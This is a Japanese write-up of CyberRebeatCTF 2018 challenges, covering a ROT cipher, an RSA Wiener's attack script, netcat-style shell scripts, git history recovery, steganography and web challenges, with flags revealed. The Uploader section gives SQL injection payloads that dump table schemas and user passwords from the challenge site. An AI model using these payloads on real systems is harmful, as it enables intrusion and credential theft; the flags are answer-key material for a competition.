CTF Writeup CyberRebeatCTF¶
- CTF Writeup CyberRebeatCTF
- 結果&感想
- Binary - SimpleBinary
- Crypto - Rotation
- Crypto FLAG.encrypted
- Misc - Readme
- Programing - Calculation
- Programing - Prime Factor
- Recon - Tweet
- Recon - CyberRebeatScripts
- Recon - I changed my history on Github!
- Stegano - secret.pdf
- Stegano - Alpha
- Stegano - Last 5 boxes
- Web - White page
- Web - Uploader
結果&感想¶
CyberRebeatCTF¶
Love UI Kit.
#CyberRebeatCTF 開催前まであんまり話に上がってこなかったし、チームメンバも集められなかったから
— kanata (@kanata201612) 2018年9月8日
よーし、こっそり参加して1位取っちゃうぞーとイキってたら
しっかり強豪チーム参加してるし、解けない問題あるしもう辛い
でも結構解けて3232点で26位。チーム一人にしては頑張った方では
writeupは、すごい簡単なヤツは省略しました
Binary - SimpleBinary¶
pedaでステップ実行するだけ
Crypto - Rotation¶
問題
P4P6S{9RN4RUNPXR45}
ROT13の亜種と踏んで対応表を作る
P4P6SはCRCTFになることが判っているので、それをヒントに
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ NOPQRSTUVWXYZ__________ABCDEFGHIJKLM P4P6S{9RN4RUNPXR45} CRCTF{WEAREHACKERS}
Crypto FLAG.encrypted¶
暗号文と公開鍵を渡される
公開鍵を見てみる
$ openssl rsa -text -pubin < public-key.pem Public-Key: (2048 bit) Modulus: 00:f7:aa:82:b3:38:65:4d:c5:5b:41:ce:6c:30:c2: 94:3f:12:eb:9c:4d:f0:90:24:fe:9d:77:31:90:9f: a8:fc:c8:92:78:7a:59:ab:cf:cf:5d:18:12:03:2e: 8f:9e:a7:5d:aa:d5:d5:6c:67:2b:ab:27:c8:bd:83: 93:f9:2b:b3:f8:e2:f2:e1:88:cb:db:a8:96:1b:35: e5:54:f5:ae:8a:c6:39:23:f9:a2:83:d9:00:a2:c5: 41:32:6d:81:12:15:6e:fe:d5:57:c1:dc:09:05:39: f6:d6:c5:d0:76:25:97:dc:13:d8:b6:e9:2a:ed:24: dc:a7:88:c0:64:cb:df:b8:c6:d4:da:7f:ba:77:70: 9e:27:70:11:19:bb:d1:24:b9:fc:9e:ac:e7:95:d4: 7d:24:46:15:6e:99:a9:c7:96:3d:ed:d6:77:63:38: 70:8f:0e:6f:ee:3a:90:80:4f:d6:d5:b4:67:e0:98: d7:a0:e2:f0:cc:90:70:92:f6:7e:68:14:b9:8a:aa: fb:df:82:a4:25:04:35:b1:a2:eb:0f:98:5e:18:49: 06:b0:53:8c:30:0d:7a:d5:fd:62:36:5e:73:5e:a2: c8:2b:6e:0a:98:47:e4:ab:22:07:67:88:ea:c8:68: a0:17:23:3d:12:6b:2c:0a:5c:8c:fe:a5:65:c0:f6: cf:9d Exponent: 00:b4:57:8e:b1:c5:f8:c4:7c:07:69:4e:2a:45:96: 97:6d:ac:84:35:01:56:ed:1e:03:f7:c1:2b:30:79: c0:34:58:b3:e2:dd:94:49:91:fb:de:89:5c:66:f8: ad:9a:7a:f8:7a:7e:2d:14:b4:d0:60:cb:d1:7c:c3: 55:b5:4c:86:5d:cc:74:f7:03:f7:b2:e2:20:4e:0d: 60:2d:01:63:8f:b3:6e:ae:ec:89:9a:d7:22:56:90: 7e:e5:32:2e:80:b8:b2:58:95:58:9f:1c:e6:bd:1c: a9:8c:38:53:82:07:b1:69:69:01:8f:8c:2f:0e:a5: 3c:96:64:0d:00:3f:2b:57:af:3e:e0:96:52:44:a9: d3:72:43:2b:5b:3a:41:32:50:8b:70:ce:05:17:60: fb:9e:5f:70:b9:c9:cb:0e:56:eb:0b:7f:c2:04:d4: eb:b8:68:3b:b8:e5:c6:4a:49:b4:7b:c6:c9:2b:d0: 5c:bf:ae:b8:f6:aa:35:0a:48:e3:0a:4b:5b:9d:c8: 33:7f:6b:96:46:29:52:01:89:83:13:cf:cf:4f:a7: 0f:0b:c1:d8:fc:d1:1a:0b:e9:6e:4a:16:32:76:f9: 96:57:63:d5:fc:9c:fd:a7:26:0d:40:2d:2c:bd:f1: 73:b4:bf:74:61:10:30:71:3b:4f:8d:5f:5b:ef:e7: 33:e1 writing RSA key -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAQEA96qCszhlTcVbQc5sMMKU PxLrnE3wkCT+nXcxkJ+o/MiSeHpZq8/PXRgSAy6PnqddqtXVbGcrqyfIvYOT+Suz +OLy4YjL26iWGzXlVPWuisY5I/mig9kAosVBMm2BEhVu/tVXwdwJBTn21sXQdiWX 3BPYtukq7STcp4jAZMvfuMbU2n+6d3CeJ3ARGbvRJLn8nqznldR9JEYVbpmpx5Y9 7dZ3Yzhwjw5v7jqQgE/W1bRn4JjXoOLwzJBwkvZ+aBS5iqr734KkJQQ1saLrD5he GEkGsFOMMA161f1iNl5zXqLIK24KmEfkqyIHZ4jqyGigFyM9EmssClyM/qVlwPbP nQKCAQEAtFeOscX4xHwHaU4qRZaXbayENQFW7R4D98ErMHnANFiz4t2USZH73olc Zvitmnr4en4tFLTQYMvRfMNVtUyGXcx09wP3suIgTg1gLQFjj7NuruyJmtciVpB+ 5TIugLiyWJVYnxzmvRypjDhTggexaWkBj4wvDqU8lmQNAD8rV68+4JZSRKnTckMr WzpBMlCLcM4FF2D7nl9wucnLDlbrC3/CBNTruGg7uOXGSkm0e8bJK9Bcv6649qo1 CkjjCktbncgzf2uWRilSAYmDE8/PT6cPC8HY/NEaC+luShYydvmWV2PV/Jz9pyYN QC0svfFztL90YRAwcTtPjV9b7+cz4Q== -----END PUBLIC KEY-----
e(Exponent:の所)がめちゃめちゃデカイ(通常は、60000とかそんなオーダー)ので、Wiener's Attackという方法で秘密鍵を作ることができる
という訳でココを参考にする(これを解くpythonスクリプトが公開されている)
RSAwienerHacker.py
'''
Created on Dec 14, 2011
@author: pablocelayes
'''
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
def hack_RSA(e,n):
'''
Finds d knowing (e,n)
applying the Wiener continued fraction attack
'''
frac = ContinuedFractions.rational_to_contfrac(e, n)
中略
if __name__ == "__main__":
#test_is_perfect_square()
#print("-------------------------")
#test_hack_RSA()
e=22766071057080311941289025090582171055356241374729867687887721165996480747230400879635593368509050250879664911119593845131632736205037337764476149970317207453325852306744743355843865620488975017552101697514723815810433086583097066849281143179649731453788074604410013059110037363738062212112776408805474047616975914133565204728262194785129197335550911873746857764241100489778203898866941412395489839653170240092405989209278646213522785197290066584628647242197250525516210135602818305240062919066210956719110372916047407851800476348031106117342132809755720425300509425412742257946576118121595189882915440991231610926049
n=31264943211208004265136257812922871300684039354012330190834942986731934389912197706421706868451670101634969269274623828581050676733228020854883441494567900924428451571798331504026565707472121772002140681756280190535290943933921834846379665606960802397274296703426557981596105415677658499356618548233939389723076124471098440146923189296244078349641695576997335766674231277153794543785116533620076935082137870329278026757983028280620935089387958708697459641119539250284149601503334899598799831125405703179815161182156366487341348125463136351944709488739527831476641990338237417959538685045943046162779336438891834429341
c=24567627059377562868105614484423886273024535858360108293709261679303974926550497189439318672624908577264506046476457095137786384831468525272589929094908337881436149324019794812804219891902253459573562430438939521995518048214801992716419439933946327566830472479815195083586095517593863373723430345120492159440493853454549917293994609440452210512119496727038202944137382941943646738720300878617094056966029945525818099278253655536613076435706468907044890014106958504434142807788873217030828773024692575731383406593586446571051817010298103654965540184106091735284849357722355533064377719568465964571451310703450179760412
hacked_d = hack_RSA(e, n)
m=pow(c, hacked_d, n)
print m
print("%0512x" %m).decode("hex")
出た
$ python RSAwienerHacker.py Hacked! 11405121556080574200507976540560550567250962398176989090968706090657735628827286003460256776456266696526501583189995873715586019586481188841669553558064962347526003585805296128704234019155927711938147927921799855258102900099957024052894182297906442193293573956451926259091091855321350867274034175705817860160056101092426800441790539634641631263205085840727897980883608411419899029774809300174380547858121642152179538920767606647604516848492915723070085962700864043872803063238370675580861448504677111372925814117825694429346520229939794702430188586491323156507194176,`/nIPSG766*|,zso123097695888071358419235048714 Dx abyb}0<ƁOGK} B."Yϱ 2:JY\ umU2y*4ԄqquᯖwL CRCTF{On that day, there was definitely something behind Warlock's disappearance.}
Misc - Readme¶
気合で読む、こんな感じ
Programing - Calculation¶
nc 59.106.212.75 8080
こういう問題文。繋ぐと計算式が表示されて、計算結果を返すのを繰り返す
みんな好きな言語でプログラミングすると思うんだけど、こういうのシェルスクリプトでサクッといけるんやで
#!/bin/sh
exec 5<>/dev/tcp/59.106.212.75/8080
for I in {1..101}
do
cat 0<&5>test.txt &
sleep 1
pkill cat
ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|bc`
echo ${ANSWER} >&5
echo Debug [${I}] $(cat test.txt) '=' ${ANSWER}
done
exit 0
Programing - Prime Factor¶
Answer the maximum prime factor. nc 59.106.212.75 8081 example: Question:120 Answer:5 (Prime Factors: 2, 3, 5)
こういうのもシェルスクリプトでサクッといけるんやで(2回目)
#!/bin/sh
exec 5<>/dev/tcp/59.106.212.75/8081
for I in {1..101}
do
cat 0<&5>test.txt &
sleep 1
pkill cat
ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|factor|awk '{print $NF}'`
echo ${ANSWER} >&5
echo Debug [${I}] $(cat test.txt) '=' ${ANSWER}
done
exit 0
Recon - Tweet¶
Let's check our official twitter account!
はい
CRCTF{CyberRebeatCTF_has_started!}
— CyberRebeat (@CyberRebeat) 2018年9月8日
Recon - CyberRebeatScripts¶
Do you know Github?
調べると出てくる
https://github.com/ennach/CyberRebeatScripts
これを git clone して、git log -p する
commit 86cc1779522ad0708ad0b829935b08ac42b2588d Author: ennach <ennach@gmail.com> Date: Tue Sep 4 22:38:27 2018 +0900 delete FLAG diff --git a/chapter1-1en.txt b/chapter1-1en.txt index db0ded3..a16cc12 100644 --- a/chapter1-1en.txt +++ b/chapter1-1en.txt @@ -98,7 +98,6 @@ "Hiro, I'll take the lady to go." "Neko-san already did that joke." @erase_chara -@FLAG=CRCTF{I cut down her gag in a single strike}
Recon - I changed my history on Github!¶
I changed my history on Github!
ちょっとハマった。該当のリポジトリ
https://github.com/ennach/ChangeHistory
消されたコミットIDは、このページから解る
[ToDo] I committed the FLAG by mistake!
That commit hash is c476614bc439fe1910e494422b3aa207b776d486 I have to remove it!
無かった事にされたコミットIDは、git cloneしても持ってこれない
ただGitHub上にはあるという事を以下のサイトで知った
No Purpose - GitHub、消えたコミットを追え
http://highwide.hatenablog.com/entry/2015/02/06/204552
という訳で、以下にアクセスすると解る
https://github.com/ennach/ChangeHistory/commit/c476614bc439fe1910e494422b3aa207b776d486
+ からあげとご飯を皿に移し、電子レンジへ放り込む。 + ちなみにこの電子レンジ、家電の中でも特に魔改造が施されていて、インターフェースまわりは原形を留めてすらいない。代わりにメインの組み込み系がクラックされていて、通常は使用できないモードや機能が使えるようになっているのだという。 + なんの役にも立たないし、使う気もないのでそちらの機能を試したことは一度もないが。 +「この量なら2分くらいかな」 + コマンドラインを呼び出し、電子レンジに命令を送る。条件はデフォルト、ただしタイマーのみ120sに設定。実行コマンドを入力して送信すると、ノータイムで目の前の電子レンジが回り始めた。 + まるで隣の家に宅配便を送るみたいな迂遠さだ。 +「これ、もっとどうにかならないの?」 +「CRCTF{the timer is set to 120 seconds}」
Stegano - secret.pdf¶
黒塗りされたpdfが渡される
コピペで中身見れる
FLAG is CRCTF{I don't know of a time without the internet}
Stegano - Alpha¶
これに何か入っているらしい
色んな画像ソフトで画質調整すると、おそよ文字っぽいものが見えるのだけど、男性の部分が邪魔して全体が見えない
png画像のアルファチャンネルだけ上手く抽出できれば良さそうなのだけれど、その方法に難儀していた
うさみみハリケーンの付属ソフト「青い空を見上げればいつもそこに白い猫」で解析できることが解った
うさみみハリケーン Ver 0.28 最新オンラインヘルプ - ステガノグラフィーの解析について
https://digitaltravesia.jp/usamimihurricane/webhelp/_RESOURCE/MenuItem/another/anotherAboutSteganography.html
と、言うわけで「青い空を見上げればいつもそこに白い猫」使うと解る
Stegano - Last 5 boxes¶
The FLAG is hiding at the last 5 boxes. https://cyberrebeat.adctf.online/static/a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4
けっこう時間かかった。。
mp4の動画に隠された情報を見つけろいう事やね。どうやらmp4はボックス構造というのになっているらしい
mp4boxというツールで見てみる
<?xml version="1.0" encoding="UTF-8"?> <!--MP4Box dump trace--> <IsoMediaFile xmlns="urn:mpeg:isobmff:schema:file:2016" Name="a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4"> <FileTypeBox Size="40" Type="ftyp" Specification="p12" Container="file" MajorBrand="M4V " MinorVersion="0"> <BrandEntry AlternateBrand="M4V "/> <BrandEntry AlternateBrand="M4A "/> 中略 </MovieBox> <MediaDataBox Size="20902115" Type="mdat" Specification="p12" Container="file" dataSize="20902107"> </MediaDataBox> <UUIDBox Size="1024" Type="uuid" UUID="{18E66A6B-FBDF0D41-80DF83B8-E1CE2B59}" Specification="unknown" Container="unknown" > </UUIDBox> <UUIDBox Size="1024" Type="uuid" UUID="{07B14494-B8E2AF4D-9BD6652B-52052AC6}" Specification="unknown" Container="unknown" > </UUIDBox> <UUIDBox Size="1024" Type="uuid" UUID="{14C6D472-C69F4846-ACD23749-2ED79CB9}" Specification="unknown" Container="unknown" > </UUIDBox> <UUIDBox Size="1024" Type="uuid" UUID="{792E16CC-B4887445-AC310002-334FD627}" Specification="unknown" Container="unknown" > </UUIDBox> <UUIDBox Size="1612" Type="uuid" UUID="{C386DEC1-144E214D-9BBE788C-4474F39F}" Specification="unknown" Container="unknown" > </UUIDBox> </IsoMediaFile>
なんか1024,1024,1024,1024,1612byteのデータがお尻にくっついているっぽい
見てみますか
あ、赤い所見てみたら「臼NG」の文字が(目grep)、pngファイルのマジックバイトやコレ
きっとお尻にpngがくっついてるね!
しかし、これを切り出して表示したけど、真っ黒
おそらく、残りの4box分のヘッダ情報を取り除かなければ!
ファイルフォーマットを確認してみる
あるべるのIT関連メモ - MP4(コンテナ) - 1.Box構造
https://albel06.hatenablog.com/entry/2017/12/20/205103
こうなってて
aligned(8) class Box (unsigned int(32) box type, optional unsigned int(8)[16] extended_type) { unsigned int(32) size; unsigned int(32) type = boxtype; if (size == 1) { unsigned int(64) largesize; } else if (size == 0) { // box extends to end of file } if (boxtype == 'uuid') { unsigned int(8)[16] usertype = extended_type; } }
こうなってるらしい
ユーザー定義Box
Boxの定義にはoptionalでextended_typeというものがあり、ユーザーがuuidを設定することでユニークなユーザー定義Boxを使用することができる。そのときのBoxタイプは'uuid'とし、typeの後ろに16byteのuuidを記録する。uuid Box以下、残りの領域は自由に定義が可能。
どうも24byte分の情報を除く(残り四箇所)しなきゃいけないらしい。確認してみる
あーはいはい、そういうことね完全に理解した
仕様通りや
00 00 04 00 : size 1024 byte 75 75 69 64 : type "uuid" 07B14494-B8E2AF4D-9BD6652B-52052AC6 : uuid
という訳でこれらを削除してpng画像完成!
Web - White page¶
http://hidden-field.cyberrebeat.adctf.online/index.php id:Hiro password:LittleGarden
ログインしたくてもできないページ
Chromeのデベロッパーツールで開くとINPUTタグにhidden属性がついてる
これをデベロッパーツールで削除すればログインできる
はい
Web - Uploader¶
Find the secret file. http://sqli.cyberrebeat.adctf.online/index.php id:guest pass:guest
なんかいろいろやっていると SQL Injection の脆弱性を見つけた
エラーメッセージからSQLiteだという事もわかった
File Name: にこれを入力
' OR 'A' = 'A' --
secret.zipが出てきた。ダウンロードしたらzipパスワードかかってる
SQLiteとわかったので、テーブル情報を抜く
' OR 'A' = 'A' union select name,sql,null,null from sqlite_master where type='table' --
Files CREATE TABLE "Files" ( `id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, `file_name` TEXT NOT NULL, `publication_date` INTEGER NOT NULL, `upload_userid` TEXT ) Users CREATE TABLE `Users` ( `userid` TEXT NOT NULL, `password` TEXT NOT NULL ) sqlite_sequence CREATE TABLE sqlite_sequence(name,seq)
ふんふむ。こんなテーブルだね
Files
id | file_name | publication_date | upload_userid |
---|---|---|---|
? | ? | ? | ? |
Users
userid | password |
---|---|
? | ? |
じゃ、Usersテーブルからパスワード抜きましょ
' OR 'A' = 'A' union select userid,password,null,null from Users --
じゃ、harada seishin0129 でログインしましょう!
ほい、zipのパスワードゲット!
zip展開して、コレ
CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}